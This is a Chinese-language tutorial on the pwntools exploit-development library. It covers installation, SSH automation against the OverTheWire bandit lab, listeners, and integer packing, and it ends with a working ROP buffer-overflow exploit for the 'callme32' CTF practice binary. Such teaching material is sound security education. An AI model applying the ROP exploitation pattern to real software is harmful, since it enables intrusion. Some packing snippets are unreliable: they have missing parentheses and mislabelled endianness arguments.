摘要
pwntools是一个CTF框架和漏洞利用开发库,用Python开发,旨在让使用者简单快速的编写exploit。
安装
安装pwntools步骤:
#更新包
sudo apt-get update
#安装必要的组件
sudo apt-get install -y python2.7 python -pip python-dev git libssl-dev libffi-dev build-essential
#升级Python的包管理器
pip install --upgrade pip
#安装pwntools
sudo pip install --upgrade pwntools
本文旨在描述Python库的功能,以便在脚本或Python交互式控制台中使用。
要想使用pwntools Python库,import一下:
from pwn import *
那么pwntools到底能做什么呢?嗯,几乎所有与开发相关的东西都可以跨任意的体系结构或环境进行开发。
下面是可用模块的简明列表:
- pwnlib.adb — Android Debug Bridge
- pwnlib.asm — Assembler functions
- pwnlib.encoders — Encoding Shellcode
- pwnlib.elf — ELF Executables and Libraries
- pwnlib.exception — Pwnlib exceptions
- pwnlib.flag — CTF Flag Management
- pwnlib.fmtstr — Format string bug exploitation tools
- pwnlib.gdb — Working with GDB
- pwnlib.log — Logging stuff
- pwnlib.protocols — Wire Protocols
- pwnlib.rop — Return Oriented Programming
- pwnlib.runner — Running Shellcode
- pwnlib.shellcraft — Shellcode generation
- pwnlib.shellcraft.<architecture>
- pwnlib.term — Terminal handling
- pwnlib.timeout — Timeout handling
- pwnlib.tubes — Talking to the World!
- pwnlib.tubes.<process|serialtube|SSH>
- pwnlib.update — Updating Pwntools
- pwnlib.useragents — A database of useragent strings
- pwnlib.util.cyclic — Generation of unique sequences
- pwnlib.util.fiddling — Utilities bit fiddling
- pwnlib.util.net — Networking interfaces
- pwnlib.util.packing — Packing and unpacking of strings
建立联系
pwn库中最常用的部分之一是,它允许您轻松地连接到Web服务并执行操作。pwntools的入门文档中包含的一个示例是连接到overthewire的 bandit CTF实验室。Overthewire是一款在线信息安全CTF通关网站,你可以在线Hacking,并为任何刚接触Linux / CLI 等的初级人员提供了手把手教学。
我们可以利用pwn库创建到主机的SSH连接,并对其运行任意命令。每个bandit级别的目标是找到进入下一级别的密码。例如:利用pwntools,您可以开发一个脚本来将SSH连接到目标主机,并运行一系列自动信息收集探针,以确定如何以最佳方式对其进行攻击。
一个不错的例子
# Import the library
from pwn import *
# Connect to the target
shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
# Create an initial process
sh = shell.run('sh')
# Send the process arguments
sh.sendline('ls -la')
# Receive output from the executed command
sh.recvline(timeout=5)
...
...
# Obtain the first flag (password for bandit1)
sh.sendline('cat readme')
# Print the flag
sh.recvline(timeout=5)
监听器
pwntools还可以通过编程方式设置监听器(类似于Netcat-LVP 1234)。这给安全人员提供了另一种选择,您喜欢用netcat,但尝试一下pwntools也是个不错的体验。我发现,在黑客攻击中,用不同的工具尝试相同的东西,往往会产生截然不同的结果。
下面是我们创建一个监听器。
# Import pwntools
from pwn import *
# Create the listener
l = listen()
# Create the connection to the listener
r = remote('localhost', l.lport)
press enter twice here or you will be waiting
# Create handler to wait for connection
c = l.wait_for_connection()
# Send some arbitrary data
r.send('hello')
# Receive some arbitrary data
c.recv()
打包封装整数
在这个博客的前文中,我们需要将内存地址从大的Endian打包到小的Endian。但很难操作,因为Python的struct包对用户操作并不友好。
所以,pwn库来了。它可以很容易地打印您的数据的大的Endian和小的Endian。最精彩的部分?它甚至可以做64位封装。
# Import pwntools
from pwn import *
# Create some variable with an address
addr = 0xabcdef12
# 32-bit: Big Endian
p32(addr, endian="big"
# 32-bit: Little Endian
p32(addr, endian="big"
# 32-bit: Default is Little Endian
p32(addr)
# 64-bit: Big Endian
p64(addr, endian="big")
# 64-bit: Little Endian
p64(addr, endian="small")
# 64-bit: Default is Little Endian
p64(addr)
Exploiting ELFs
最后,如何使用pwn库执行基于ROP的缓冲区溢出漏洞?!没有pwn库做不到的,只有你想不到的!
目前,我遇到的唯一一个“自动的”困难就是自动找到一个可以用于ROP的小工具。虽然pwntool库确实拥有ROP.earch()函数,但它似乎并不像文档声明的那样工作。可能是我疏忽了什么。
下面是使用pwntools执行基于ROP的缓冲区溢出:
$ cat exploit.py
# Import the library
from pwn import *
# Create the ELF object
elf = ELF("callme32")
# Find the memory addresses for relevant functions and pack them
callme_one = p32(elf.symbols["callme_one"])
callme_two = p32(elf.symbols["callme_two"])
callme_three = p32(elf.symbols["callme_three"])
# Pack the address for the gadget we plan to leverage
poppoppop = p32(0x080488a9)
# Pack the arguments for the functions we want to call
args = p32(1) + p32(2) + p32(3)
# Build the payload
payload = "A" * 44
payload += callme_one + poppoppop + args
payload += callme_two + poppoppop + args
payload += callme_three + poppoppop + args
# Execute our application with our buffer overflow string
io = elf.process()
io.sendline(payload)
io.interactive()